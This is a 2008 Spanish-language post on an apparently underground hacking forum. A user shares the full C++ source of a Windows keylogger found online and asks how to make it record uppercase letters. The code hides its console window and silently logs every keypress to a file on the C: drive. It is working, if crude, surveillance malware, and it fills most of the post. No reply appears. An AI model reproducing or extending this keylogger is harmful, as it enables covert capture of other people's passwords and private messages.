Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Noviembre 21, 2008, 10:45:48
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Carbide C/C#/C++  |  Tema: Problema con Keylogger (duda) 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Problema con Keylogger (duda)  (Leído 128 veces)
Psy0n3
Recien Llegado
*
Desconectado Desconectado

Mensajes: 1


Ver Perfil
« en: Mayo 27, 2008, 07:32:27 »

Holaa...
un gusto saludarlo, lo mas probable esque este sea mi primer post en el foro ya que no me gusta opinar mucho por aca, siempre hay discuciones y no estoy para estar respondiendo siempre, bueno eso no va al caso...

mi problema es el siguiente...

estaba buscando keyloggers programados en c++ para ver la estructura y aprender un poco mas de lo que se  en este lenguaje... el problema fue que al hacer funcionar el keylogger, solo me toma las letras minusculas... me gustaría saber como arreglar ese problema

el codigo está aquí (sin modificación, ya que lo saqué de internet)

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <windows.h>

using namespace std;

int main()
{
 FreeConsole();
   
      string q="q";
      string w="w";
      string e="e";
      string r="r";
      string t="t";
      string y="y";
      string u="u";
      string i="i";
      string o="o";
      string p="p";
      string a="a";
      string s="s";
      string d="d";
      string f="f";
      string g="g";
      string h="h";
      string j="j";
      string k="k";
      string l="l";
      string z="z";
      string x="x";
      string c="c";
      string v="v";
      string b="b";
      string n="n";
      string m="m";
      string enter="[ENTER]";
      string backspace="[BACKSPACE]";
      string tab="[TAB]";
      string spacebar=" ";



while(1)
 {
         Sleep(20);
         
         ofstream log("C:\\log.txt", ios::app);
           
           
            Sleep(20);   
           if(GetAsyncKeyState('Q')==-32767)
           {log << q;}
           
           if (GetAsyncKeyState('W')==-32767)
           {log << w;}
           
           if (GetAsyncKeyState('E')==-32767)
           {log << e;}
           
           if (GetAsyncKeyState('R')==-32767)
           {log << r;}
           
           if (GetAsyncKeyState('T')==-32767)
           {log << t;}
           
           if (GetAsyncKeyState('Y')==-32767)
           {log << y;}
           
           if (GetAsyncKeyState('U')==-32767)
           {log << u;}
           
           if (GetAsyncKeyState('I')==-32767)
           {log << i;}
           
           if (GetAsyncKeyState('O')==-32767)
           {log << o;}
           
           if (GetAsyncKeyState('P')==-32767)
           {log << p;}
           
           if (GetAsyncKeyState('A')==-32767)
           {log << a;}
           
           if (GetAsyncKeyState('S')==-32767)
           {log << s;}
           
           if (GetAsyncKeyState('D')==-32767)
           {log << d;}
           
           if (GetAsyncKeyState('F')==-32767)
           {log << f;}
           
           if (GetAsyncKeyState('G')==-32767)
           {log << g;}
           
           if (GetAsyncKeyState('H')==-32767)
           {log << h;}
           
           if (GetAsyncKeyState('J')==-32767)
           {log << j;}
           
           if (GetAsyncKeyState('K')==-32767)
           {log << k;}
           
           if (GetAsyncKeyState('L')==-32767)
           {log << l;}
           
           if (GetAsyncKeyState('Z')==-32767)
           {log << z;}
           
           if (GetAsyncKeyState('X')==-32767)
           {log << x;}
           
           if (GetAsyncKeyState('C')==-32767)
           {log << c;}
           
           if (GetAsyncKeyState('V')==-32767)
           {log << v;}
           
           if (GetAsyncKeyState('B')==-32767)
           {log << b;}
           
           if (GetAsyncKeyState('N')==-32767)
           {log << n;}
           
           if (GetAsyncKeyState('M')==-32767)
           {log << m;}
           
           if (GetAsyncKeyState('1')==-32767)
           {log << 1;}
           
           if (GetAsyncKeyState('2')==-32767)
           {log << 2;}
           
           if (GetAsyncKeyState('3')==-32767)
           {log << 3;}
           
           if (GetAsyncKeyState('4')==-32767)
           {log << 4;}
           
           if (GetAsyncKeyState('5')==-32767)
           {log << 5;}
           
           if (GetAsyncKeyState('6')==-32767)
           {log << 6;}
           
           if (GetAsyncKeyState('7')==-32767)
           {log << 7;}
           
           if (GetAsyncKeyState('8')==-32767)
           {log << 8;}
           
           if (GetAsyncKeyState('9')==-32767)
           {log << 9;}
           
           if (GetAsyncKeyState('0')==-32767)
           {log << 0;}
           
           if (GetAsyncKeyState(13)==-32767)
           {log << enter;}
           
           if (GetAsyncKeyState(8)==-32767)
           {log << backspace;}
           
           if (GetAsyncKeyState(9)==-32767)
           {log << tab;}
           
           if (GetAsyncKeyState(32)==-32767)
           {log << spacebar;}
           
 
           log.close();
                 
 }/*while*/
 return 0;
}


si se fijan, solo contiene para capturar las minusculas, agregué las letras para que capturara las minusculas de esta forma (Es obvio)

Código:
      string Q="Q";
      string W="W";
      string E="E";
      string R="R";
      string T="T";
      string Y="Y";
      string U="U";
      string I="I";
      string O="O";
      string P="P";
      string A="A";
      string S="S";
      string D="D";
      string F="F";
      string G="G";
      string H="H";
      string J="J";
      string K="K";
      string L="L";
      string Z="Z";
      string X="X";
      string C="C";
      string V="V";
      string B="B";
      string N="N";
      string M="M";

y en la parte de abajo me confundo, porque la estructura es así

Código:
           if (GetAsyncKeyState('M')==-32767)
           {log << m;}

Al principio sale una M mayuscula y despues una minuscula, no sabría como hacerlo para que capture minusculas y mayuscula, si me expliqué mal, avisen porfavor...

Saludos, y gracias de antemano.
Buen foro y buenos users...

atte. Psy0n3
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Carbide C/C#/C++  |  Tema: Problema con Keylogger (duda) « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC